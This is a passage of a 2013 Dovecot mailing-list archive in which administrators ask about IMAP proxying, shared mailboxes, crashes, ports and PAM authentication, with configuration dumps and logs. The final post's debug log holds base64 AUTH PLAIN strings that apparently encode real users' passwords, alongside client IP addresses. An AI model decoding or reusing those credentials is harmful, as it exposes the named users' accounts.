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[Dovecot] Transparent IMAP proxy
by Yonatan Broza 16 Jun '13

16 Jun '13

Hi, I'm considering patching Dovecot to work as a transparent (and virus scanning) IMAP proxy. What is the appropriate feature to extend? (I've considered the following: IMAPC and reverse proxying, with IMAPC looking more promising since it actually parses IMAP communication). Can anyone who is familiar with the IMAPC code recommend what are the most appropriate locations in the code to make the required changes? (I've considered hooking the storage virtual functions and making the settings local rather than global - but would appreciate more specific ideas). Thanks.

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[Dovecot] Multiple user sharing a single mailbox
by Jonathon Price 16 Jun '13

16 Jun '13

I'm designing a system where some but not all groups of users want to share a single mailbox, i.e the user will not have there own inbox. I think this is possible by setting up a user database that returns the same mail location and possible the same home directory. This sharing would only occur in a single domain. Example User Database UserID | home | mail all(a)site1.example.com | /mail/home/site1.example.com/all | /mail/mailstorage/site1.example.com/all user1(a)site1.example.com | /mail/home/site1.example.com/user1| /mail/mailstorage/ site1.example.com/all user2(a)site1.example.com | /mail/home/site1.example.com/user2| /mail/mailstorage/ site1.example.com/all user1(a)site2.example.com | /mail/home/site2.example.com/user1| /mail/mailstorage/ site2.example.com/user1 user2(a)site2.example.com | /mail/home/site2.example.com/user2| /mail/mailstorage/ site2.example.com/user2 In this example all of site1.example.com users share a single mailbox, and site2.example.com users each have there own mailbox. Should the home directory also be shared, I read the comment that they should never be shared but wasn't sure if that still applied when the mailbox is the same path. For groups that are sharing a mailbox there would likely be a relatively low number of users concurrently logged in, say less than 10. For clustering we are currently limited to NFS mail storage. I was planning on using director setup so that the hashing/sharding is performed on the domain only, so all users for a domain will end up on a single node. At this stage clustering is mainly for high availability not performances. Lastly I'm concerned about possible issues with locking on the mailbox files and indexes. Will one of the mail formats reduces this risk, we can use any format as all mail will be written by Dovecot. Would giving each user there own index location help? and I assume this would mean that each user would see there own flags like read status? Does this setup sound ok, are there aspects that should change? thanks, Jon

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[Dovecot] [Dovcot 2.2.2] Q: Prequisits for compiling and plugins
by Christoph Hintermüller 16 Jun '13

16 Jun '13

Hi Where can i find the list of prerequisites for compiling dovocot 2.2.2 form the sources, is there a dedicated link or what terms i should best use to search the archives of this mailing list, the documentation or the web? Where do I find information (links or search terms) whether plugins available for 1.x 2.1.x series, especially the metadata plugin, are still needed for 2.2.2 or may even be harmful for 2.2.2 as built in. Documentation on Dovecot webpage is rather sparse and not really conclusive concerning metadata plugin within 2.x series. On my Ubuntu 12.X systems i still find it for 2.1.x but I have difficulties to understand whether there exist a version for 2.2.X series, if this is equal to the one for 2.1.X or whether it is not needed any more for 2.2.X series. Further what libraries would be required. Greetings Christoph

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[Dovecot] MULTIAPPEND + literal8 issue
by Michael M Slusarz 16 Jun '13

16 Jun '13

Background: importing a mbox file containing ~700 messages (20 MB). Our program splits MULTIAPPENDS into approx. 5MB chunks. We don't use literal+ in order to immediately catch errors. I can reproducibly produce the following error (2.2.2) when doing a MULTIAPPEND where every append is using literal8: [...340 messages appended in 7 previous APPEND commands...] C: 10 APPEND Test "16-Dec-2011 17:19:46 -0700" ~{3128} [...~30 APPENDed messages...] C: "18-Jan-2012 12:38:21 -0700" ~{2893} S: + OK [...2893 octets of data...] C: "18-Jan-2012 22:09:41 -0700" ~{6492} S: 10 BAD Error in IMAP command APPEND: Expected '{' S: 492} BAD Error in IMAP command : Unknown command. This error occurs about 340 messages in. If I switch to using regular literals, this error does not occur. I can verify that neither the 12:38:21 message nor the 22:09:41 message alone is broken (I can put just these two in a file and import and it is successful). I can provide the mbox file privately, if needed. michael

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[Dovecot] LMTP crash with sdbox and SIS
by Bernhard Schmidt 16 Jun '13

16 Jun '13

Debian Wheezy amd64 plus Stefan's stable-auto/dovecot2.2 repository 2:2.2.2-0~auto+57 = 16495:d447dcc6b611 Crash goes away when I disable mail_attachment_dir, happens with a fresh home as well # 2.2.2 (d447dcc6b611): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 disable_plaintext_auth = no first_valid_uid = 100 mail_attachment_dir = /home/studext/attachment mail_gid = ext mail_location = sdbox:~/sdbox:INDEX=~/Index mail_plugins = quota mail_uid = studext managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = INBOX. separator = . } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { quota = dict:User quota::file:%h/Maildir/dovecot-quota quota_rule = INBOX.Trash:ignore quota_rule2 = ?:storage=512M sieve = ~/currently-active-script.sieve sieve_dir = ~/sieve } protocols = " imap lmtp sieve pop3" service lmtp { executable = lmtp -D inet_listener lmtp { port = 24 } } ssl_cert = </etc/dovecot/dovecot.pem ssl_key = </etc/dovecot/private/dovecot.pem userdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } protocol lmtp { mail_plugins = quota sieve } protocol imap { mail_plugins = quota imap_quota } (gdb) bt full #0 0x00007fc270f11475 in raise () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #1 0x00007fc270f146f0 in abort () from /lib/x86_64-linux-gnu/libc.so.6 No symbol table info available. #2 0x00007fc2712cbdf8 in default_fatal_finish (type=<optimized out>, status=status@entry=0) at failures.c:191 backtrace = 0x97e900 "/usr/lib/dovecot/libdovecot.so.0(+0x62dea) [0x7fc2712cbdea] -> /usr/lib/dovecot/libdovecot.so.0(+0x62e2e) [0x7fc2712cbe2e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fc27128bda5] -> /usr/lib/d"... #3 0x00007fc2712cbe2e in i_internal_fatal_handler (ctx=0x7fff6b38a7c0, format=<optimized out>, args=<optimized out>) at failures.c:652 status = 0 #4 0x00007fc27128bda5 in i_panic (format=format@entry=0x7fc2712f18c8 "file %s: line %d (%s): assertion failed: (%s)") at failures.c:263 ctx = {type = LOG_TYPE_PANIC, exit_status = 0, timestamp = 0x0} args = {{gp_offset = 40, fp_offset = 48, overflow_arg_area = 0x7fff6b38a8b0, reg_save_area = 0x7fff6b38a7f0}} #5 0x00007fc2712d4734 in i_stream_read (stream=0x9c3740) at istream.c:163 _stream = 0x9c36e0 old_size = 0 ret = -1 __FUNCTION__ = "i_stream_read" #6 0x00007fc2715ca2c9 in index_attachment_save_continue (ctx=0x9b7ef0) at index-attachment.c:206 storage = 0x9ae590 attach = 0x9c3310 data = <optimized out> size = 1 ret = <optimized out> #7 0x00007fc2715a78a8 in mail_storage_try_copy (mail=0x9a3c60, _ctx=0x7fff6b38a928) at mail-copy.c:80 ctx = 0x9b7ef0 pmail = 0x9a3c60 input = 0x9b57c0 #8 mail_storage_copy (ctx=ctx@entry=0x9b7ef0, mail=mail@entry=0x9a3c60) at mail-copy.c:101 No locals. #9 0x00007fc271576810 in sdbox_copy (_ctx=<optimized out>, mail=<optimized out>) at sdbox-copy.c:172 ctx = <optimized out> _t = <optimized out> mbox = <optimized out> __FUNCTION__ = "sdbox_copy" #10 0x00007fc2706b1320 in quota_copy (ctx=0x9b7ef0, mail=0x9a3c60) at quota-storage.c:220 t = 0x9b4b70 qt = 0x9b7e80 qbox = 0x9b2450 #11 0x00007fc2715afadf in mailbox_copy (_ctx=_ctx@entry=0x7fff6b38aaa8, mail=0x9a3c60) at mail-storage.c:2116 ctx = 0x9b7ef0 t = 0x9b4b70 keywords = 0x0 pvt_flags = 0 ---Type <return> to continue, or q <return> to quit--- real_mail = <optimized out> ret = <optimized out> __FUNCTION__ = "mailbox_copy" #12 0x00007fc2715afb8c in mailbox_save_using_mail (ctx=ctx@entry=0x7fff6b38aaa8, mail=<optimized out>) at mail-storage.c:2147 No locals. #13 0x00007fc27184ddde in mail_deliver_save (ctx=ctx@entry=0x7fff6b38ac10, mailbox=<optimized out>, flags=flags@entry=0, keywords=keywords@entry=0x0, storage_r=storage_r@entry=0x7fff6b38abe8) at mail-deliver.c:311 open_ctx = {user = 0x9aa470, lda_mailbox_autocreate = false, lda_mailbox_autosubscribe = false} box = 0x9b1e80 trans_flags = <optimized out> t = 0x9b4b70 save_ctx = 0x0 headers_ctx = 0x0 kw = 0x0 error = MAIL_ERROR_NONE mailbox_name = 0x40892f "INBOX" errstr = <optimized out> guid = 0x7fc271847d98 "W\n" changes = {pool = 0x7fc271a52788, uid_validity = 1798876136, saved_uids = {arr = {buffer = 0x9992d0, element_size = 140473107114581}, v = 0x9992d0, v_modifiable = 0x9992d0}, ignored_modseq_changes = 10165232, changed = false, no_read_perm = false} default_save = <optimized out> ret = 0 __FUNCTION__ = "mail_deliver_save" #14 0x00007fc27184e203 in mail_deliver (ctx=ctx@entry=0x7fff6b38ac10, storage_r=storage_r@entry=0x7fff6b38abe8) at mail-deliver.c:413 ret = -1 #15 0x0000000000406282 in client_deliver (session=0x9a8480, src_mail=0x9a3c60, rcpt=0x98b770, client=0x98af00) at commands.c:689 lda_set = 0x999b00 ns = <optimized out> set_parser = <optimized out> line = <optimized out> storage = 0x9ae590 sets = <optimized out> mail_error = MAIL_ERROR_NONE ret = <optimized out> dctx = {pool = 0x9a8460, set = 0x999b00, session = 0x9a8480, dup_ctx = 0x0, session_id = 0x98b710 "zeL+MQ/QuFGZTgAAUJ203Q", src_mail = 0x9a3c60, src_envelope_sender = 0x98b728 "schmidt(a)xxx.de", dest_user = 0x9aa470, dest_addr = 0x98bd70 "ext44903(a)mstoretest.mail.xxx.de", final_dest_addr = 0x98bd70 "ext44903(a)mstoretest.mail.xxx.de", dest_mailbox_name = 0x40892f "INBOX", dest_mail = 0x9b8830, var_expand_table = 0x0, tempfail_error = 0x0, tried_default_save = true, saved_mail = false, save_dest_mail = false, mailbox_full = false, dsn = false} input = <optimized out> mail_set = 0x9992d0 error = <optimized out> username = <optimized out> #16 client_deliver_next (session=0x9a8480, src_mail=0x9a3c60, client=0x98af00) at commands.c:732 rcpts = 0x98b770 count = 1 #17 client_input_data_write_local (input=<optimized out>, client=0x98af00) at commands.c:827 src_mail = 0x9a3c60 first_uid = 4294967295 session = 0x9a8480 old_uid = 0 #18 client_input_data_write (client=0x98af00) at commands.c:938 input = 0x99b5b0 ret = true #19 client_input_data_handle (client=0x98af00) at commands.c:1032 data = <optimized out> size = 1794 ret = <optimized out> #20 0x00007fc2712db996 in io_loop_call_io (io=0x98a3b0) at ioloop.c:387 ioloop = 0x985700 t_id = 2 #21 0x00007fc2712dc807 in io_loop_handler_run (ioloop=ioloop@entry=0x985700) at ioloop-epoll.c:215 ctx = 0x988530 events = 0x0 event = 0x9885a0 list = 0x98a400 io = <optimized out> tv = {tv_sec = 299, tv_usec = 992938} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #22 0x00007fc2712db4d8 in io_loop_run (ioloop=0x985700) at ioloop.c:406 No locals. #23 0x00007fc271291013 in master_service_run (service=0x985590, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #24 0x0000000000404c24 in main (argc=2, argv=0x985390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 739 c = <optimized out>

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[Dovecot] Connection closed by foreign host.
by Michael Cramer 16 Jun '13

16 Jun '13

i tried the latest dev version 2.2.2-0~auto54 for ubuntu and when i do some testing i got a connection closed. the commands are issued through telnet: root@i920:~# telnet localhost imap Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Dovecot ready. 1 LOGIN test(a)lokal.de 123456 1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE NOTIFY COMPRESS=DEFLATE QUOTA ACL RIGHTS=texk] Logged in 2 LIST () "" (virtual/*) * LIST () "/" virtual/All * LIST () "/" virtual/Flagged * LIST (\UnMarked) "/" virtual/Flagged * LIST (\Marked) "/" virtual/All 2 OK List completed. 3 LIST () "" (*) Connection closed by foreign host. the command with number 3 results everytime in a connection closed. i turned on debug_log but nothing is shown there.

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[Dovecot] rawlog without setting home in userdb
by Claus 16 Jun '13

16 Jun '13

Hi all, in my settup i decided to set mail_home in 10-mail.conf, and let dovecot do the hashing to a 2-level directory structure. mail_location = mdbox:~/mdbox:ALT=/altstorage/%h/mdbox mail_home = /vmail/%1Mu/%2.1Mu/%u In my userdb ist homedirectory not set and everythink works as expected, except when i use rawlog i get only logs in ~/dovecot.rawlog if home is set in userdb. In wiki http://wiki2.dovecot.org/Debugging/Rawlog it reads: If you don't have the home directory and you can't or don't want to modify userdb configuration, you can add: mail_home = /home/%u # or temporarily even e.g. mail_home = /tmp/temp-home Can you tell me, if my problem is the hashing-configuration or anything else? Claus

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[Dovecot] Still virtio problems
by Erich N. Pekarek 16 Jun '13

16 Jun '13

Hello! As posted on May 27th this year, dovecot 2.1.7 does not allow for the mailstore to be located in a virtio partition. I still receive fstat()-errors on the lock files in this combination: May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/.quotausage.lock) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: file dict commit: file_dotlock_open(/var/vmail/mydomain/test/.quotausage) failed: No such file or directory May 27 12:54:51 host dovecot: imap(test@mydomain): Error: fstat(/var/vmail/mydomain/test/Maildir/dovecot-uidlist.lock) failed: No such file or directory Config includes: mmap_disable=yes dotlock_use_excl=no Any ideas? Thanks Erich

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[Dovecot] dovecot creating unknown users
by Yann Shukor 16 Jun '13

16 Jun '13

Hi We recently installed a dovecot postfix roundcube debian wheezy serverIt is now in production and we are feeling our way as we progressivelyadd new users to this local server. I noticed that dovecot is creating user directory structures for unknown users withinour domain in /var/vmail, even though we have setup a static users.conf db file. I tried omiting the "allow_all_users=yes" parameter but that doesn't seem to be linked to this issue Sorry if this has been asked a number of times already Is there an easy way to search the archives of this mailinglist ? Thanks yann # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-686-pae i686 Debian 7.0 ext4 auth_debug = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes disable_plaintext_auth = no first_valid_gid = 5000 first_valid_uid = 5000 hostname = holimail.holinice.com last_valid_gid = 5000 last_valid_uid = 5000 listen = * mail_debug = yes mail_gid = vmail mail_location = maildir:/var/vmail/%d/%n/Maildir mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = maildir:/var/vmail/%d/%n/Maildir mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = subscriptions = yes } passdb { args = scheme=CRAM-MD5 /etc/dovecot/users.conf driver = passwd-file } passdb { driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = azurtem(a)holinice.com protocols = " imap sieve pop3" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { group = dovecot inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { process_limit = 1024 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3 { process_limit = 1024 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } userdb { driver = passwd } protocol lda { mail_plugins = " sieve" }

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[Dovecot] Testing SMTP AUTH
by Ajai Khattri 15 Jun '13

15 Jun '13

Ive configured Postfix to use Dovecot for SMTP AUTH. I tried to test it but when I send the AUTH LOGIN command I get a response saying that AUTH method is not supported/implemented. How to test then? -- A -- Aj.

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[Dovecot] access shared mailbox results in error
by Michael Cramer 15 Jun '13

15 Jun '13

when i try to access a shared mailbox the logfile shows me this and access isn't possible Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Error: mdbox /srv/vmail/mail/bigmichi1.de/familie/mailboxes/INBOX/dbox-Mails: Invalid dbox header size: 0 Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Warning: fscking index file /srv/vmail/indexes/shared/bigmichi1.de/michael/shared/familie(a)bigmichi1.de/storage/dovecot.map.index Jun 15 19:38:57 imap(michael(a)bigmichi1.de): Warning: mdbox /srv/vmail/mail/bigmichi1.de/familie/storage: rebuilding indexes doveconf -n # 2.2.2 (30f00db1a8b0): /etc/dovecot/dovecot.conf # OS: Linux 3.8.0-25-generic x86_64 Ubuntu 13.04 ext4 auth_mechanisms = plain login debug_log_path = /var/log/dovecot/debug.log dict { acl = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext expire = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext quota = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext } first_valid_gid = 8 first_valid_uid = 8 info_log_path = /var/log/dovecot/info.log last_valid_gid = 8 last_valid_uid = 8 log_path = /var/log/dovecot/error.log mail_debug = yes mail_gid = 8 mail_location = mdbox:/srv/vmail/mail/%d/%n:INDEXPVT=/srv/vmail/indexes/private/%d/%n:INDEX=/srv/vmail/indexes/shared/%d/%n mail_plugins = quota zlib acl expire virtual mail_uid = 8 mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variab les body enotify environment mailbox date ihave imapflags notify mdbox_preallocate_space = yes mdbox_rotate_size = 10 M namespace { list = children location = mdbox:/srv/vmail/mail/%%d/%%n:INDEXPVT=/srv/vmail/indexes/private/%d/%n/shared/%%u:INDEX=/srv/vmail/indexes/shared/%d/%n/shared/%%u prefix = Shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mailbox Archive { auto = subscribe special_use = \Archive } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } mailbox virtual/All { auto = subscribe special_use = \All } mailbox virtual/Flagged { auto = subscribe special_use = \Flagged } prefix = separator = / type = private } namespace virtual { location = virtual:/srv/vmail/virtual:INDEXPVT=/srv/vmail/indexes/private/%d/%n/virtual:INDEX=/srv/vmail/indexes/shared/%d/%n/virtual prefix = virtual/ separator = / } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { acl = vfile:/srv/vmail/acl:cache_secs=300 acl_anyone = allow acl_shared_dict = proxy::acl expire = Trash 7 Trash/* 7 Spam 30 expire_dict = proxy::expire quota = dict:User quota::proxy::quota quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=80%% quota-warning 80 %u quota_warning3 = -storage=100%% quota-warning below %u sieve = /srv/vmail/sieve/%d/%n/.dovecot.sieve sieve_default = /srv/vmail/sieve/default.sieve sieve_dir = /srv/vmail/sieve/%d/%n/ sieve_extensions = +notify +imapflags sieve_global_dir = /srv/vmail/sieve/global } postmaster_address = postmaster(a)bigmichi1.de protocols = " imap sieve" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = mail mode = 0666 user = mail } } service dict { unix_listener dict { group = mail mode = 0660 user = mail } } service managesieve-login { inet_listener sieve { port = 4190 } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { user = mail } user = dovecot } ssl_cert = </srv/ssl/ssl-unified.crt ssl_key = </srv/ssl/ssl-decrypted.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lda { debug_log_path = /var/log/dovecot/deliver-debug.log info_log_path = /var/log/dovecot/deliver-info.log log_path = /var/log/dovecot/deliver-errors.log mail_plugins = quota zlib acl expire virtual sieve } protocol imap { mail_plugins = quota zlib acl expire virtual imap_quota imap_acl imap_zlib }

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[Dovecot] Turn off IMAPS?
by Simon B 15 Jun '13

15 Jun '13

Hi I've upgraded to 2.1.7 and finally decided to turn off imaps and pop3s because these days everyone uses tls over 143 anyway. But it's on and I can't figure out why. I only have non-ssl versions specified: protocols = imap pop3 I've stopped and started and the ports are still open and netstat says dovecot is listening on them.. mail:~# netstat -tulnp | grep dove tcp 0 0 0.0.0.0:993 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:110 0.0.0.0:* LISTEN 29340/dovecot tcp 0 0 0.0.0.0:143 0.0.0.0:* LISTEN 29340/dovecot tcp6 0 0 :::993 :::* LISTEN 29340/dovecot tcp6 0 0 :::995 :::* LISTEN 29340/dovecot tcp6 0 0 :::110 :::* LISTEN 29340/dovecot tcp6 0 0 :::143 :::* LISTEN 29340/dovecot Any ideas? Thanks. Simon Here's my doveconf - n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext3 auth_mechanisms = plain login auth_verbose = yes disable_plaintext_auth = no first_valid_uid = 109 last_valid_uid = 109 log_timestamp = "%Y-%m-%d %H:%M:%S " login_log_format_elements = user=<%u> method=%m rip=%r %c mail_location = maildir:/var/spool/mail/virtual/%d/%n mail_privileged_group = mailsystem maildir_very_dirty_syncs = yes passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { quota = maildir } protocols = imap pop3 service auth { unix_listener /var/spool/postfix/private/auth { group = mailsystem mode = 0660 user = postfix } unix_listener auth-master { group = mailsystem mode = 0660 user = mailsystem } user = mailsystem } ssl_ca = </etc/ssl/keys/ca.crt ssl_cert = </etc/ssl/keys/mail.net.crt ssl_key = </etc/ssl/private/mail.net.key userdb { driver = prefetch } userdb { args = uid=109 gid=113 home=/var/spool/mail/virtual/%d/%n allow_all_users=yes driver = static } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 20 mail_plugins = quota imap_quota } protocol pop3 { mail_plugins = quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh pop3_save_uidl = yes pop3_uidl_format = %v.%u } protocol lda { deliver_log_format = msgid=%m: %f: %$ info_log_path = log_path = mail_plugins = quota postmaster_address = postmaster(a)example.net }

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[Dovecot] Auto-responder to handle unencrypted (and/or unsigned) email messages whose origin is not localhost
by Ben Johnson 15 Jun '13

15 Jun '13

Hi, everyone, I'm surprised how little exists on the Internet regarding this particular subject. Given the recent headlines, that is about to change, I'm sure. I have a need to send an automated response to all senders who attempt to send unencrypted and/or unsigned email to a specific mailbox on my system. (Messages originating from localhost should be exempt.) I would like for the auto-reply to include a customized message with the appropriate public PGP key contained therein. Has anyone accomplished this? If not, some basic theory as to how one might go about achieving this would be greatly appreciated. Perhaps this is a job for Dovecot's "sieve_before" directive. Would this simply be a matter of checking the message body for the expected patterns, e.g., starts with "----- BEGIN PGP MESSAGE -----", etc., etc. and sending an automated reply with the public key if the expected strings are not present? Any additional thoughts would be very helpful! Thank you in advance, -Ben

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Re: [Dovecot] Safe/preferred way to import old email
by Reindl Harald 15 Jun '13

15 Jun '13

Am 14.06.2013 22:10, schrieb Ajai Khattri: > One small problem (I should have described better): the old server is not available but I've have the maildirs > rsynced to the new server. So I have the actual message files but I'm not sure if simply copying them into the new > maildirs is a good idea :-) > > On Friday, June 14, 2013, Reindl Harald wrote: > > Am 14.06.2013 21:59, schrieb Ajai Khattri: > > Ive migrated from a qmail+Courier-IMAP setup to a Postfix+Dovecot setup. > > I'm using maildirs in both places. > > > > Is there a safe/preferred way to bring my old messages over without them > > being marked as new in Dovecot? > > imapsync well, that must answer people which where in the situation of a not really prepared migration why you *should not* reply off-list!

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[Dovecot] Safe/preferred way to import old email
by Ajai Khattri 14 Jun '13

14 Jun '13

Ive migrated from a qmail+Courier-IMAP setup to a Postfix+Dovecot setup. I'm using maildirs in both places. Is there a safe/preferred way to bring my old messages over without them being marked as new in Dovecot ? -- Aj.

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[Dovecot] Pam authentication failure message but it works
by Wayne Andersen 14 Jun '13

14 Jun '13

I am running Centos 6.4 64bit. Dovecot 2.0.9 I am getting the following messages in /var/log/secure, which looks like the pam authentication is not working but the users are allowed to login and the system works great. I am wondering if pam is actually failing and yet the system is getting the login info from elsewhere, or is this just a nuisance message? /var/log/secure Jun 12 23:11:29 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=christineg rhost=65.13.54.123 user=christineg Jun 12 23:11:45 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=susieg rhost=70.208.29.109 user=susieg Jun 12 23:12:03 smtp auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=bobs rhost=70.59.189.210 user=bobs In the debug log file I see what looks like a successful connection, but don't know how to read the two pam lines. /var/log/dovecot.debug.log Jun 12 23:11:29 auth: Debug: auth client connected (pid=10098) Jun 12 23:11:29 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=65.13.54.123 lport=143 rport=54049 resp=AGNocmlzZwBjZzQ4MjU= Jun 12 23:11:29 auth: Debug: pam(christineg,65.13.54.123): lookup service=dovecot Jun 12 23:11:29 auth: Debug: pam(christineg,65.13.54.123): #1/1 style=1 msg=Password: Jun 12 23:11:29 auth: Debug: client out: OK 1 user=christineg Jun 12 23:11:29 auth: Debug: master in: REQUEST 4079353857 10098 1 0229474c9c1038e161328ecd28884af2 Jun 12 23:11:29 auth: Debug: passwd(christineg,65.13.54.123): lookup Jun 12 23:11:29 auth: Debug: master out: USER 4079353857 christineg system_groups_user=christineg uid=1116 gid=100 home=/home/christineg Jun 12 23:11:29 imap(christineg): Debug: Effective uid=1116, gid=100, home=/home/christineg Jun 12 23:11:29 imap(christineg): Debug: maildir++: root=/home/christineg/Maildir, index=, control=, inbox=/home/christineg/Maildir Jun 12 23:11:44 auth: Debug: auth client connected (pid=10100) Jun 12 23:11:45 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=70.208.29.109 lport=143 rport=14107 Jun 12 23:11:45 auth: Debug: client out: CONT 1 Jun 12 23:11:45 auth: Debug: client in: CONT 1 AHJpY2hhcmRnQGNsaW1hLXRlY2guY29tAHJnMzgyMg== Jun 12 23:11:45 auth: Debug: pam(susieg,70.208.29.109): lookup service=dovecot Jun 12 23:11:45 auth: Debug: pam(susieg,70.208.29.109): #1/1 style=1 msg=Password: Jun 12 23:11:45 auth: Debug: client out: OK 1 user=susieg Jun 12 23:11:45 auth: Debug: master in: REQUEST 3368157185 10100 1 5a8d4b15a417d0bc4d2f818c5a5710f0 Jun 12 23:11:45 auth: Debug: passwd(susieg,70.208.29.109): lookup Jun 12 23:11:45 auth: Debug: master out: USER 3368157185 susieg system_groups_user=susieg uid=1087 gid=100 home=/home/susieg Jun 12 23:11:45 imap(susieg): Debug: Effective uid=1087, gid=100, home=/home/susieg Jun 12 23:11:45 imap(susieg): Debug: maildir++: root=/home/susieg/Maildir, index=, control=, inbox=/home/susieg/Maildir Jun 12 23:12:03 auth: Debug: auth client connected (pid=10104) Jun 12 23:12:03 auth: Debug: auth client connected (pid=10105) Jun 12 23:12:03 auth: Debug: client in: AUTH 1 PLAIN service=imap lip=206.169.228.24 rip=70.59.189.210 lport=143 rport=38705 Jun 12 23:12:03 auth: Debug: client out: CONT 1 Jun 12 23:12:03 auth: Debug: client in: CONT 1 AGJyZW5kb25jQGNsaW1hLXRlY2guY29tAGJjMTU1NA== Jun 12 23:12:03 auth: Debug: pam(bobs,70.59.189.210): lookup service=dovecot Jun 12 23:12:03 auth: Debug: pam(bobs,70.59.189.210): #1/1 style=1 msg=Password: Jun 12 23:12:03 auth: Debug: client out: OK 1 user=bobs Jun 12 23:12:03 auth: Debug: master in: REQUEST 709623809 10104 1 0c261d849b956bf9cb5c0833b498bb97 Jun 12 23:12:03 auth: Debug: passwd(bobs,70.59.189.210): lookup Jun 12 23:12:03 auth: Debug: master out: USER 709623809 bobs system_groups_user=bobs uid=1188 gid=100 home=/home/bobs Jun 12 23:12:03 imap(bobs): Debug: Effective uid=1188, gid=100, home=/home/bobs Jun 12 23:12:03 imap(bobs): Debug: maildir++: root=/home/bobs/Maildir, index=, control=, inbox=/home/bobs/Maildir /etc/pam.d/dovecot #%PAM-1.0 auth required pam_nologin.so auth include password-auth account include password-auth session include password-auth # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-279.22.1.el6.x86_64 x86_64 CentOS release 6.4 (Final) auth_debug_passwords = yes auth_mechanisms = plain login auth_username_format = %n auth_verbose = yes debug_log_path = /var/log/dovecot.debug.log disable_plaintext_auth = no hostname = mail.mydomain.com lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes mail_debug = yes mail_location = maildir:~/Maildir managesieve_notify_capability = mailto managesieve_sieve_capability = 